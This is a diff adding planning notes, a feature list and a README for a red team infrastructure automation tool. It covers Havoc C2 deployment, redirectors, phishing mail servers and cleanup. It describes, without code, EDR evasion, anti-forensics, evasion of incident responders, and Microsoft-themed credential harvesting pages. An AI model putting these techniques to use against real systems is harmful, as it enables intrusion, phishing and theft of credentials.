- **Provider connectivity tests** - Currently placeholder in tools menu
|
||||||
|
- **Configuration validation** - Basic implementation, may need enhancement
|
||||||
|
- **Health checks** - Currently placeholder
|
||||||
|
|
||||||
|
## 🎯 PRIORITY NEXT STEPS
|
||||||
|
|
||||||
|
1. **Test the core deployment flow**:
|
||||||
|
```bash
|
||||||
|
cd /opt/redteam/c2itall
|
||||||
|
python3 deploy.py
|
||||||
|
# Try option 1 (Deploy C2 Infrastructure) with a test deployment
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Verify provider configurations**:
|
||||||
|
- Check that `providers/AWS/vars.yaml`, `providers/Linode/vars.yaml`, etc. have correct structure
|
||||||
|
- Test provider credential gathering
|
||||||
|
|
||||||
|
3. **Check Ansible playbook compatibility**:
|
||||||
|
- Verify playbooks expect the variable names being passed by deployment engine
|
||||||
|
- Update playbooks if needed to match new variable structure
|
||||||
|
|
||||||
|
4. **Complete remaining modules**:
|
||||||
|
- Update phishing module to use deployment engine
|
||||||
|
- Update payload server module to use deployment engine
|
||||||
|
|
||||||
|
## 📋 COMPARISON WITH OLD VERSION
|
||||||
|
|
||||||
|
### Major Functions Restored:
|
||||||
|
- ✅ `execute_deployment()` → Now `deploy_infrastructure()` in deployment engine
|
||||||
|
- ✅ `gather_common_parameters()` → Now split across module-specific gather functions
|
||||||
|
- ✅ `generate_deployment_info()` → Restored in deployment engine
|
||||||
|
- ✅ `cleanup_resources()` → Now comprehensive cleanup engine
|
||||||
|
- ✅ `ssh_to_instance()` → Restored in SSH utils
|
||||||
|
- ✅ `setup_logging()` → Enhanced version in common utils
|
||||||
|
|
||||||
|
### Menu Structure:
|
||||||
|
- ✅ Main menu matches old functionality
|
||||||
|
- ✅ C2 submenu enhanced with more options
|
||||||
|
- ✅ Redirector submenu functional
|
||||||
|
- ✅ Tools menu mostly functional
|
||||||
|
- ✅ Cleanup menu fully functional
|
||||||
|
|
||||||
|
### Missing Elements Found & Fixed:
|
||||||
|
- ✅ SSH key generation and management
|
||||||
|
- ✅ Deployment ID generation and tracking
|
||||||
|
- ✅ Provider environment variable setup
|
||||||
|
- ✅ Ansible playbook execution with proper variable passing
|
||||||
|
- ✅ Deployment information logging and retrieval
|
||||||
|
- ✅ Teardown and cleanup functionality
|
||||||
|
|
||||||
|
## 🚀 CURRENT STATUS
|
||||||
|
|
||||||
|
Your modular c2itall structure now has **complete core functionality** that matches your old working version. The main improvements include:
|
||||||
|
|
||||||
|
1. **Better organization** - Clear separation of concerns
|
||||||
|
2. **Enhanced functionality** - More deployment options and better management
|
||||||
|
3. **Improved cleanup** - Better teardown and management capabilities
|
||||||
|
4. **Complete logging** - Full audit trail of deployments
|
||||||
|
|
||||||
|
The tool should now be functional for testing deployments. Any remaining issues are likely to be:
|
||||||
|
- Ansible playbook variable compatibility
|
||||||
|
- Provider-specific configuration details
|
||||||
|
- Module-specific edge cases
|
||||||
|
|
||||||
|
**Test it out and let me know what specific errors you encounter!**
|
||||||
@@ -0,0 +1,556 @@
|
|||||||
|
# C2ingRed Project Management
|
||||||
|
|
||||||
|
## Project Overview
|
||||||
|
**C2ingRed** - Automated red team infrastructure deployment system supporting AWS, Linode, and FlokiNET with Havoc C2, redirectors, email infrastructure, and advanced OPSEC features.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 Current Focus
|
||||||
|
**Goal:** Stabilize core deployment functionality and test it
|
||||||
|
**Last Updated:** 05-30-2025
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📈 CHANGELOG & HISTORY
|
||||||
|
|
||||||
|
### [1.1/05-30-2025]
|
||||||
|
- [Major change 1]
|
||||||
|
- [Major change 2]
|
||||||
|
- [Bug fixes, etc.]
|
||||||
|
|
||||||
|
### [Previous Version/Date]
|
||||||
|
- [Previous changes]
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 📍 Where I Left Off
|
||||||
|
- Working on: Need to fix issue with AWS deployment security hardening playbook | Need to restructure I want each module in its own dir with its own tasks, templates, files and I want to move Provider playbooks into a Provider dir. I also want to break apart deploy.py and take each part for a module and make its own script that can be ran independently of the deploy script to just deploy the that module if need be
|
||||||
|
- Next Priority: Test core deployment
|
||||||
|
- Blockers: Sleep
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📊 Project Status Dashboard
|
||||||
|
|
||||||
|
### Overall Progress
|
||||||
|
- **Core Infrastructure:** 85% ✅
|
||||||
|
- **Security Features:** 75% ⚠️
|
||||||
|
- **Documentation:** 20% ⚠️
|
||||||
|
- **Testing Coverage:** 40% ❌
|
||||||
|
|
||||||
|
### Quick Stats [Total Features: 150]
|
||||||
|
- ✅ **Working:** 120 features
|
||||||
|
- ❌ **Broken:** 30 features
|
||||||
|
- 🧪 **Needs Testing:** 150 features
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 💡 IDEAS & FUTURE CONSIDERATIONS
|
||||||
|
|
||||||
|
### Potential Improvements
|
||||||
|
- [Improvement idea 1]
|
||||||
|
- [Improvement idea 2]
|
||||||
|
|
||||||
|
### Architecture Changes
|
||||||
|
- [Architectural consideration 1]
|
||||||
|
- [Architectural consideration 2]
|
||||||
|
|
||||||
|
### Integration Opportunities
|
||||||
|
- [Integration possibility 1]
|
||||||
|
- [Integration possibility 2]
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📝 TODO
|
||||||
|
|
||||||
|
- [ ] Fix DMARC automation bug
|
||||||
|
- [ ] Improve split-region cleanup
|
||||||
|
- [ ] Test integrated tracker end-to-end
|
||||||
|
- [ ] Add Tor integration
|
||||||
|
- [ ] Improve payload customization
|
||||||
|
- [ ] Multi-tenancy support
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📚 RESEARCH & INVESTIGATION
|
||||||
|
|
||||||
|
### Current Research Topics
|
||||||
|
- [ ] **Advanced EDR Bypass** - Latest techniques and tools
|
||||||
|
- [ ] **Infrastructure Detection** - How to avoid attribution
|
||||||
|
- [ ] **Automation Improvements** - Better deployment patterns
|
||||||
|
|
||||||
|
### Completed Research
|
||||||
|
- [x] **Havoc C2 Dev Branch** - Features and installation
|
||||||
|
- [x] **NGINX IR Evasion** - Security scanner detection
|
||||||
|
- [x] **AWS Security Groups** - Best practices
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎪 Major Features
|
||||||
|
|
||||||
|
### Core Infrastructure Deployment
|
||||||
|
**Status:** 🔄 IN PROGRESS
|
||||||
|
**Priority:** HIGH
|
||||||
|
**Description:** Basic deployment functionality across all providers
|
||||||
|
|
||||||
|
#### Tasks:
|
||||||
|
- [x] ✅ AWS EC2 instance deployment
|
||||||
|
- [x] ✅ Linode instance deployment
|
||||||
|
- [x] ✅ FlokiNET server configuration
|
||||||
|
- [x] ✅ SSH key management
|
||||||
|
- [x] ✅ VPC and security group creation
|
||||||
|
- [ ] 🔄 Cross-region deployment improvements
|
||||||
|
- [ ] 🧪 Split-region deployment testing
|
||||||
|
- [ ] ❌ Deployment rollback functionality
|
||||||
|
|
||||||
|
**Notes:** Basic functionality works well. Cross-region needs refinement.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Havoc C2 Framework Integration
|
||||||
|
**Status:** ✅ MOSTLY COMPLETE
|
||||||
|
**Priority:** HIGH
|
||||||
|
**Description:** Havoc C2 installation, configuration, and payload generation
|
||||||
|
|
||||||
|
#### Tasks:
|
||||||
|
- [x] ✅ Havoc installation automation
|
||||||
|
- [x] ✅ Basic payload generation
|
||||||
|
- [x] ✅ EDR evasion techniques
|
||||||
|
- [x] ✅ Payload randomization
|
||||||
|
- [ ] 🧪 Cross-platform payload testing
|
||||||
|
- [ ] 📝 Advanced listener configurations
|
||||||
|
- [ ] 📝 Custom malleable profiles
|
||||||
|
|
||||||
|
**Notes:** Core functionality solid. Need more testing on different OS targets.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Redirector Infrastructure
|
||||||
|
**Status:** ✅ COMPLETE
|
||||||
|
**Priority:** HIGH
|
||||||
|
**Description:** NGINX-based traffic redirection with IR evasion
|
||||||
|
|
||||||
|
#### Tasks:
|
||||||
|
- [x] ✅ Basic NGINX redirector setup
|
||||||
|
- [x] ✅ SSL certificate automation
|
||||||
|
- [x] ✅ IR evasion rules (security tool detection)
|
||||||
|
- [x] ✅ Mobile device credential harvesting
|
||||||
|
- [x] ✅ Traffic flow configuration
|
||||||
|
- [x] ✅ Legitimate-looking cover pages
|
||||||
|
|
||||||
|
**Notes:** Working well. Good IR evasion capabilities.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Email Infrastructure
|
||||||
|
**Status:** 🔄 IN PROGRESS
|
||||||
|
**Priority:** MEDIUM
|
||||||
|
**Description:** Mail server, DKIM, tracking capabilities
|
||||||
|
|
||||||
|
#### Tasks:
|
||||||
|
- [x] ✅ Postfix mail server setup
|
||||||
|
- [x] ✅ DKIM key generation
|
||||||
|
- [x] ✅ Basic email tracking
|
||||||
|
- [ ] 🧪 Integrated tracker testing
|
||||||
|
- [ ] ❌ DMARC automation (has bugs)
|
||||||
|
- [ ] 📝 GoPhish integration improvements
|
||||||
|
- [ ] 📝 Email template management
|
||||||
|
|
||||||
|
**Notes:** Basic mail works. DMARC setup needs debugging.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Security & OPSEC
|
||||||
|
**Status:** 🔄 IN PROGRESS
|
||||||
|
**Priority:** HIGH
|
||||||
|
**Description:** Hardening, evasion, and operational security
|
||||||
|
|
||||||
|
#### Tasks:
|
||||||
|
- [x] ✅ SSH hardening
|
||||||
|
- [x] ✅ Zero-logs configuration
|
||||||
|
- [x] ✅ Firewall automation (UFW/iptables)
|
||||||
|
- [x] ✅ Log cleaning scripts
|
||||||
|
- [x] ✅ Port randomization
|
||||||
|
- [ ] 🔄 AWS security group improvements
|
||||||
|
- [ ] 🧪 Memory protection testing
|
||||||
|
- [ ] 📝 Tor integration
|
||||||
|
- [ ] 📝 Additional EDR bypass techniques
|
||||||
|
|
||||||
|
**Notes:** Good foundation. Need to test memory protection features.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Deployment Management
|
||||||
|
**Status:** 🔄 IN PROGRESS
|
||||||
|
**Priority:** MEDIUM
|
||||||
|
**Description:** Deployment tracking, cleanup, and management
|
||||||
|
|
||||||
|
#### Tasks:
|
||||||
|
- [x] ✅ Deployment ID system
|
||||||
|
- [x] ✅ Infrastructure state tracking
|
||||||
|
- [x] ✅ Basic cleanup functionality
|
||||||
|
- [ ] 🔄 Enhanced cleanup (split-region)
|
||||||
|
- [ ] 🧪 Cleanup verification testing
|
||||||
|
- [ ] 📝 Deployment history/logging
|
||||||
|
- [ ] 📝 Resource usage tracking
|
||||||
|
|
||||||
|
**Notes:** Cleanup works but needs refinement for complex deployments.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Documentation & Usability
|
||||||
|
**Status:** ❌ NEEDS WORK
|
||||||
|
**Priority:** MEDIUM
|
||||||
|
**Description:** User guides, API docs, and ease of use
|
||||||
|
|
||||||
|
#### Tasks:
|
||||||
|
- [x] ✅ Basic README
|
||||||
|
- [x] ✅ Post-install instructions
|
||||||
|
- [ ] 🔄 Comprehensive user guide
|
||||||
|
- [ ] 📝 Troubleshooting guide
|
||||||
|
- [ ] 📝 Advanced configuration docs
|
||||||
|
- [ ] 📝 Video tutorials/demos
|
||||||
|
- [ ] 📝 Architecture documentation
|
||||||
|
|
||||||
|
**Notes:** Documentation is sparse. Need comprehensive guides.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🐛 KNOWN BUGS & ISSUES
|
||||||
|
|
||||||
|
### High Priority Bugs
|
||||||
|
- [ ] **DMARC Record Setup** - Automation fails on some providers
|
||||||
|
- *Impact:* Email deliverability issues
|
||||||
|
- *Found:* [Date]
|
||||||
|
- *Next Step:* Debug template generation
|
||||||
|
|
||||||
|
- [ ] **Split-Region Cleanup** - VPC deletion fails in cross-region deployments
|
||||||
|
- *Impact:* Resource cleanup incomplete
|
||||||
|
- *Found:* [Date]
|
||||||
|
- *Next Step:* Fix region iteration logic
|
||||||
|
|
||||||
|
### Medium Priority Bugs
|
||||||
|
- [ ] **SSH Key Permissions** - Occasional permission errors on AWS
|
||||||
|
- *Impact:* Deployment failures
|
||||||
|
- *Workaround:* Manual key fixing
|
||||||
|
|
||||||
|
- [ ] **Port Randomization** - Service restart issues
|
||||||
|
- *Impact:* Services may not start with new ports
|
||||||
|
- *Workaround:* Manual service restart
|
||||||
|
|
||||||
|
### Low Priority Issues
|
||||||
|
- [ ] **Log Output** - Too verbose in some areas
|
||||||
|
- [ ] **Error Messages** - Some are unclear
|
||||||
|
- [ ] **Performance** - Slow payload generation
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🧪 TESTING BACKLOG
|
||||||
|
|
||||||
|
### Needs Comprehensive Testing
|
||||||
|
- [ ] **Cross-Region Deployments** - AWS multi-region
|
||||||
|
- [ ] **Integrated Tracker** - Full email tracking flow
|
||||||
|
- [ ] **Memory Protection** - Secure memory features
|
||||||
|
- [ ] **Payload Delivery** - End-to-end testing
|
||||||
|
- [ ] **Cleanup Verification** - Ensure all resources removed
|
||||||
|
- [ ] **FlokiNET Provider** - Limited testing done
|
||||||
|
- [ ] **Port Randomization** - All service combinations
|
||||||
|
- [ ] **Security Hardening** - Penetration testing
|
||||||
|
|
||||||
|
### Tested & Working
|
||||||
|
- [x] **Basic AWS Deployment** - Single region, standard config
|
||||||
|
- [x] **Basic Linode Deployment** - Standard configuration
|
||||||
|
- [x] **Havoc Payload Generation** - Windows/Linux payloads
|
||||||
|
- [x] **NGINX Redirector** - Traffic forwarding
|
||||||
|
- [x] **SSH Hardening** - Security configurations
|
||||||
|
- [x] **SSL Certificates** - Let's Encrypt automation
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 GOALS & MILESTONES
|
||||||
|
|
||||||
|
### Goals
|
||||||
|
- [ ] Complete Core Infrastructure)
|
||||||
|
- [ ] Fix all high-priority bugs
|
||||||
|
- [ ] Achieve 80% test coverage
|
||||||
|
- [ ] Complete comprehensive documentation
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔗 USEFUL LINKS & REFERENCES
|
||||||
|
|
||||||
|
### Documentation
|
||||||
|
- [Link 1]() - Description
|
||||||
|
- [Link 2]() - Description
|
||||||
|
|
||||||
|
### External Resources
|
||||||
|
- [Resource 1]() - Description
|
||||||
|
- [Resource 2]() - Description
|
||||||
|
|
||||||
|
### Related Projects
|
||||||
|
- [Project 1]() - Relationship
|
||||||
|
- [Project 2]() - Relationship
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📝 NOTES & LESSONS LEARNED
|
||||||
|
|
||||||
|
### What's Working Well
|
||||||
|
- [Success 1]
|
||||||
|
- [Success 2]
|
||||||
|
|
||||||
|
### What Needs Improvement
|
||||||
|
- [Area for improvement 1]
|
||||||
|
- [Area for improvement 2]
|
||||||
|
|
||||||
|
### Lessons Learned
|
||||||
|
- [Lesson 1]
|
||||||
|
- [Lesson 2]
|
||||||
|
|
||||||
|
# **C2ingRed Complete Feature List (~150+ Features)**
|
||||||
|
|
||||||
|
## **🏗️ CORE INFRASTRUCTURE MANAGEMENT (25 features)**
|
||||||
|
|
||||||
|
### **Multi-Provider Support**
|
||||||
|
1. AWS EC2 deployment with VPC creation
|
||||||
|
2. Linode infrastructure deployment
|
||||||
|
3. FlokiNET pre-provisioned server configuration
|
||||||
|
4. Cross-provider deployment (redirector on one, C2 on another)
|
||||||
|
5. Multi-region deployment within same provider
|
||||||
|
6. Split-region deployment (C2 and redirector in different regions)
|
||||||
|
|
||||||
|
### **Resource Management**
|
||||||
|
7. Automated VPC/subnet/routing table creation
|
||||||
|
8. Security group configuration with least-privilege access
|
||||||
|
9. Internet gateway and NAT gateway setup
|
||||||
|
10. SSH key pair generation and management
|
||||||
|
11. SSL certificate automation (Let's Encrypt)
|
||||||
|
12. Elastic IP allocation and management
|
||||||
|
13. Resource tagging for organization
|
||||||
|
14. Infrastructure state tracking and persistence
|
||||||
|
15. Comprehensive cleanup and teardown
|
||||||
|
16. Force cleanup with confirmation prompts
|
||||||
|
17. Orphaned resource detection and removal
|
||||||
|
|
||||||
|
### **Instance Management**
|
||||||
|
18. AMI selection and validation
|
||||||
|
19. Instance size/plan selection
|
||||||
|
20. SSH user detection based on AMI type
|
||||||
|
21. Instance health monitoring
|
||||||
|
22. Automatic retry logic for deployments
|
||||||
|
23. Post-deployment validation checks
|
||||||
|
24. Instance metadata collection
|
||||||
|
25. Deployment logging and state tracking
|
||||||
|
|
||||||
|
## **🎯 C2 FRAMEWORK INTEGRATION (20 features)**
|
||||||
|
|
||||||
|
### **Havoc C2 Framework**
|
||||||
|
26. Havoc C2 installation (dev branch)
|
||||||
|
27. Teamserver configuration and management
|
||||||
|
28. Client configuration generation
|
||||||
|
29. Profile-based payload generation
|
||||||
|
30. Custom listener configuration (HTTP/HTTPS)
|
||||||
|
31. Advanced evasion profile templates
|
||||||
|
32. Teamserver service management (systemd)
|
||||||
|
33. Password generation and management
|
||||||
|
34. Multi-operator support configuration
|
||||||
|
|
||||||
|
### **Payload Generation & Mutation**
|
||||||
|
35. Windows EXE payload generation
|
||||||
|
36. Windows DLL payload generation
|
||||||
|
37. Linux ELF binary generation
|
||||||
|
38. Raw shellcode generation
|
||||||
|
39. Binary signature randomization
|
||||||
|
40. PE header timestamp manipulation
|
||||||
|
41. ELF binary modification
|
||||||
|
42. Anti-analysis techniques
|
||||||
|
43. Payload manifest generation
|
||||||
|
44. Backup and versioning system
|
||||||
|
45. Cross-architecture payload support
|
||||||
|
|
||||||
|
## **🛡️ SECURITY & OPSEC (35 features)**
|
||||||
|
|
||||||
|
### **System Hardening**
|
||||||
|
46. SSH configuration hardening
|
||||||
|
47. Root login restrictions
|
||||||
|
48. Key-based authentication enforcement
|
||||||
|
49. Connection timeout configuration
|
||||||
|
50. Fail2Ban integration and configuration
|
||||||
|
51. UFW firewall management (non-AWS)
|
||||||
|
52. Iptables rules configuration
|
||||||
|
53. System resource limits configuration
|
||||||
|
54. Automatic security updates
|
||||||
|
|
||||||
|
### **Anti-Forensics & OPSEC**
|
||||||
|
55. Zero-logging configuration throughout infrastructure
|
||||||
|
56. Log rotation and secure deletion
|
||||||
|
57. Command history suppression
|
||||||
|
58. Memory protection mechanisms
|
||||||
|
59. Swap file encryption/disabling
|
||||||
|
60. Temporary file cleanup
|
||||||
|
61. Secure exit procedures with data wiping
|
||||||
|
62. Process hiding techniques
|
||||||
|
63. Service name obfuscation
|
||||||
|
|
||||||
|
### **Evasion Techniques**
|
||||||
|
64. Port randomization for C2 communications
|
||||||
|
65. User-Agent randomization
|
||||||
|
66. Sleep/jitter timing randomization
|
||||||
|
67. Process injection method randomization
|
||||||
|
68. Communication protocol obfuscation
|
||||||
|
69. Traffic flow randomization
|
||||||
|
70. Decoy traffic generation capabilities
|
||||||
|
|
||||||
|
### **IR & Blue Team Evasion**
|
||||||
|
71. Security tool detection (user-agent based)
|
||||||
|
72. Security vendor IP range blocking
|
||||||
|
73. Automated redirection of analysis tools
|
||||||
|
74. Mobile device detection and targeting
|
||||||
|
75. Suspicious behavior detection and response
|
||||||
|
76. Rate limiting for suspicious connections
|
||||||
|
77. Geographic IP filtering
|
||||||
|
78. Academic research network blocking
|
||||||
|
79. Timing delays for suspicious requests
|
||||||
|
80. Anti-sandbox techniques
|
||||||
|
|
||||||
|
## **📡 COMMUNICATION & REDIRECTORS (18 features)**
|
||||||
|
|
||||||
|
### **NGINX Redirector Configuration**
|
||||||
|
81. Advanced NGINX redirector with SSL
|
||||||
|
82. HTTP to HTTPS redirection
|
||||||
|
83. Legitimate website masquerading
|
||||||
|
84. Intelligent traffic routing
|
||||||
|
85. Proxy configuration for C2 traffic
|
||||||
|
86. TCP stream forwarding
|
||||||
|
87. Load balancing capabilities
|
||||||
|
88. Custom error page handling
|
||||||
|
|
||||||
|
### **Traffic Management**
|
||||||
|
89. Request filtering and validation
|
||||||
|
90. Payload delivery path protection
|
||||||
|
91. Content-Type validation
|
||||||
|
92. Security header implementation
|
||||||
|
93. CORS configuration
|
||||||
|
94. Cache control for operational security
|
||||||
|
95. Compression settings optimization
|
||||||
|
96. Server signature obfuscation (Microsoft-IIS spoofing)
|
||||||
|
|
||||||
|
### **Credential Harvesting**
|
||||||
|
97. Fake login page deployment
|
||||||
|
98. Microsoft-themed credential capture
|
||||||
|
99. Form data encryption and storage
|
||||||
|
100. Credential logging with metadata
|
||||||
|
|
||||||
|
## **📧 EMAIL & PHISHING INFRASTRUCTURE (15 features)**
|
||||||
|
|
||||||
|
### **Mail Server Setup**
|
||||||
|
101. Postfix mail server configuration
|
||||||
|
102. Dovecot IMAP/POP3 configuration
|
||||||
|
103. SMTP authentication setup
|
||||||
|
104. TLS encryption configuration
|
||||||
|
105. Mail queue management
|
||||||
|
|
||||||
|
### **Email Deliverability**
|
||||||
|
106. DKIM key generation and configuration
|
||||||
|
107. DMARC policy implementation
|
||||||
|
108. SPF record guidance
|
||||||
|
109. Mail routing configuration
|
||||||
|
110. Reputation management features
|
||||||
|
|
||||||
|
### **Email Tracking**
|
||||||
|
111. Transparent pixel tracking system
|
||||||
|
112. Email open rate analytics
|
||||||
|
113. Geolocation tracking integration
|
||||||
|
114. User-agent analysis
|
||||||
|
115. Tracking dashboard with statistics
|
||||||
|
|
||||||
|
## **🔧 RECONNAISSANCE & ATTACK TOOLS (25 features)**
|
||||||
|
|
||||||
|
### **Network Reconnaissance**
|
||||||
|
116. Nmap integration
|
||||||
|
117. Masscan deployment
|
||||||
|
118. Gobuster directory enumeration
|
||||||
|
119. DNSEnum subdomain discovery
|
||||||
|
120. Enum4linux SMB enumeration
|
||||||
|
121. Responder LLMNR/NBT-NS poisoning
|
||||||
|
122. Inveigh .NET Responder equivalent
|
||||||
|
|
||||||
|
### **Web Application Testing**
|
||||||
|
123. SQLMap SQL injection testing
|
||||||
|
124. Dirb web path discovery
|
||||||
|
125. Nikto web vulnerability scanning
|
||||||
|
126. Custom wordlist management (SecLists)
|
||||||
|
|
||||||
|
### **Credential Attacks**
|
||||||
|
127. Hydra brute force attacks
|
||||||
|
128. John the Ripper password cracking
|
||||||
|
129. Hashcat GPU-accelerated cracking
|
||||||
|
130. TREVORspray password spraying
|
||||||
|
131. MailSniper Exchange enumeration
|
||||||
|
132. Kerbrute Kerberos enumeration
|
||||||
|
|
||||||
|
### **Post-Exploitation**
|
||||||
|
133. NetExec (CrackMapExec successor)
|
||||||
|
134. Impacket toolkit integration
|
||||||
|
135. SharpCollection .NET tools
|
||||||
|
136. PEASS-ng privilege escalation
|
||||||
|
137. Metasploit Framework integration
|
||||||
|
|
||||||
|
## **🖥️ USER INTERFACE & EXPERIENCE (15 features)**
|
||||||
|
|
||||||
|
### **Interactive Interface**
|
||||||
|
138. Color-coded terminal interface
|
||||||
|
139. Interactive menu system with categories
|
||||||
|
140. Guided deployment wizard
|
||||||
|
141. Progress indicators and status updates
|
||||||
|
142. Error handling with user-friendly messages
|
||||||
|
|
||||||
|
### **Command Line Interface**
|
||||||
|
143. Comprehensive CLI argument parsing
|
||||||
|
144. Provider-specific parameter validation
|
||||||
|
145. Batch deployment capabilities
|
||||||
|
146. Configuration file support
|
||||||
|
147. Debug and verbose modes
|
||||||
|
|
||||||
|
### **Documentation & Guidance**
|
||||||
|
148. Automated post-deployment instructions
|
||||||
|
149. DNS configuration guidance
|
||||||
|
150. SSL certificate setup instructions
|
||||||
|
151. Usage examples and command references
|
||||||
|
152. Troubleshooting guides
|
||||||
|
|
||||||
|
## **⚙️ CONFIGURATION MANAGEMENT (10 features)**
|
||||||
|
|
||||||
|
### **Template System**
|
||||||
|
153. Jinja2 template engine integration
|
||||||
|
154. Dynamic configuration generation
|
||||||
|
155. Environment-specific customization
|
||||||
|
156. Variable interpolation and validation
|
||||||
|
|
||||||
|
### **State Management**
|
||||||
|
157. Deployment state persistence
|
||||||
|
158. Cross-deployment resource tracking
|
||||||
|
159. Configuration backup and restore
|
||||||
|
160. Version control integration support
|
||||||
|
|
||||||
|
## **🧹 CLEANUP & TEARDOWN (8 features)**
|
||||||
|
|
||||||
|
### **Resource Cleanup**
|
||||||
|
161. Comprehensive resource identification
|
||||||
|
162. Force cleanup with confirmation
|
||||||
|
163. Partial cleanup for failed deployments
|
||||||
|
164. SSH key cleanup and rotation
|
||||||
|
165. State file management
|
||||||
|
166. Orphaned resource detection
|
||||||
|
167. Cross-region cleanup support
|
||||||
|
168. Provider-agnostic teardown procedures
|
||||||
|
|
||||||
|
## **📊 MONITORING & ANALYTICS (5 features)**
|
||||||
|
|
||||||
|
169. Deployment logging and metrics
|
||||||
|
170. Health check automation
|
||||||
|
171. Performance monitoring hooks
|
||||||
|
172. Error tracking and reporting
|
||||||
|
173. Usage analytics collection
|
||||||
|
|
||||||
|
## **TOTAL: ~173 DISTINCT FEATURES**
|
||||||
@@ -0,0 +1,199 @@
|
|||||||
|
# c2itall — Red Team Infrastructure Automation
|
||||||
|
|
||||||
|
Infrastructure-as-Code platform for deploying and managing full red team engagement infrastructure across multiple cloud providers. Built to reduce time-to-operational from hours to minutes while enforcing consistent OPSEC posture across every deployment.
|
||||||
|
|
||||||
|
> **Portfolio note:** This is a sanitized public version. Files containing active TTPs (implant source mutations, payload build pipelines, phishing lures, credential capture logic) have been replaced with documented stubs that describe exactly what each component does and why. The architecture, orchestration layer, and all non-weaponized infrastructure code are intact.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What This Is
|
||||||
|
|
||||||
|
Red team engagements require standing up a consistent stack of infrastructure — C2 servers, traffic redirectors, phishing mail infrastructure, payload delivery servers — quickly, correctly, and with OPSEC controls baked in from the first `ssh`. Doing this by hand is error-prone and slow. This tool automates the entire lifecycle:
|
||||||
|
|
||||||
|
- **Provision** cloud nodes across AWS, Linode, or FlokiNET
|
||||||
|
- **Harden** each node to a consistent baseline (firewall, fail2ban, log suppression, memory protections)
|
||||||
|
- **Deploy** role-specific services (Havoc C2, nginx redirectors, Postfix MTA, payload servers)
|
||||||
|
- **Configure** the inter-node traffic routing, SSL certs, and DKIM/DMARC records
|
||||||
|
- **Teardown** the full stack cleanly when the engagement ends
|
||||||
|
|
||||||
|
The result is reproducible, version-controlled infrastructure — every deployment is documented, every configuration is auditable, and every node reaches the same hardened baseline regardless of who ran the deployment.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
deploy.py (Rich TUI interactive menu)
|
||||||
|
│
|
||||||
|
├── providers/
|
||||||
|
│ ├── AWS/ — EC2 provisioning, security groups, keypair management
|
||||||
|
│ ├── Linode/ — Linode API node provisioning
|
||||||
|
│ └── FlokiNET/ — Pre-provisioned node integration (bulletproof hosting)
|
||||||
|
│
|
||||||
|
├── modules/
|
||||||
|
│ ├── c2/ — Havoc C2 server deployment + payload pipeline [stubs]
|
||||||
|
│ ├── redirectors/ — nginx HTTPS redirectors + credential capture [stubs]
|
||||||
|
│ ├── phishing/ — Postfix MTA + GoPhish + lure pages [stubs]
|
||||||
|
│ ├── payload-server/ — Encrypted payload hosting + delivery
|
||||||
|
│ ├── attack-box/ — Kali/Ubuntu operator boxes
|
||||||
|
│ ├── webrunner/ — Distributed cloud scanning infrastructure
|
||||||
|
│ ├── tracker/ — Email open/click tracking server
|
||||||
|
│ └── chat-server/ — Encrypted team comms (Matrix/Element)
|
||||||
|
│
|
||||||
|
├── common/
|
||||||
|
│ ├── files/ — Shared scripts, HID payloads [stubs]
|
||||||
|
│ └── templates/ — Cross-module Jinja2 templates (stagers, loaders) [stubs]
|
||||||
|
│
|
||||||
|
└── utils/
|
||||||
|
├── common.py — Shared utilities, ANSI output, helpers
|
||||||
|
├── ssh_utils.py — SSH connection management, tunneling
|
||||||
|
└── deployment_engine.py — Ansible playbook execution engine
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Module Breakdown
|
||||||
|
|
||||||
|
### C2 Server (`modules/c2/`)
|
||||||
|
|
||||||
|
Deploys a hardened Havoc C2 Framework teamserver. Havoc was chosen over Cobalt Strike for its open source auditability and active development of modern evasion primitives.
|
||||||
|
|
||||||
|
**Infrastructure side (intact):**
|
||||||
|
- Ansible playbooks for full Havoc installation from source
|
||||||
|
- Teamserver systemd service with automatic restart
|
||||||
|
- Firewall rules limiting teamserver port exposure to operator IPs only
|
||||||
|
- Let's Encrypt SSL automation for HTTPS C2 traffic
|
||||||
|
- Payload synchronization to redirector nodes
|
||||||
|
|
||||||
|
**Payload pipeline (stubbed):**
|
||||||
|
- `implant_mutator.sh` — randomizes Havoc Demon source identifiers (mutex names, pipe names, compile-time strings) before each build to defeat static signatures
|
||||||
|
- `havoc_mutate.sh` — generates per-engagement randomized Havoc teamserver profiles (sleep jitter, traffic malleable C2 patterns, kill dates)
|
||||||
|
- `generate_evasive_beacons.sh.j2` — shellcode compile pipeline: cross-compile → encrypt → inject into hollow process template → sign
|
||||||
|
- `generate_havoc_payloads.sh.j2` — produces EXE, DLL, and raw shellcode variants from a single Demon build
|
||||||
|
|
||||||
|
**EDR evasion techniques implemented:**
|
||||||
|
- Sleep masking (encrypted heap during sleep intervals)
|
||||||
|
- Stack spoofing (synthetic call stacks to evade call stack analysis)
|
||||||
|
- AMSI/ETW patching (in-memory patch of scanning hooks before payload execution)
|
||||||
|
- Indirect syscalls (bypass user-mode API hooks via direct syscall stubs)
|
||||||
|
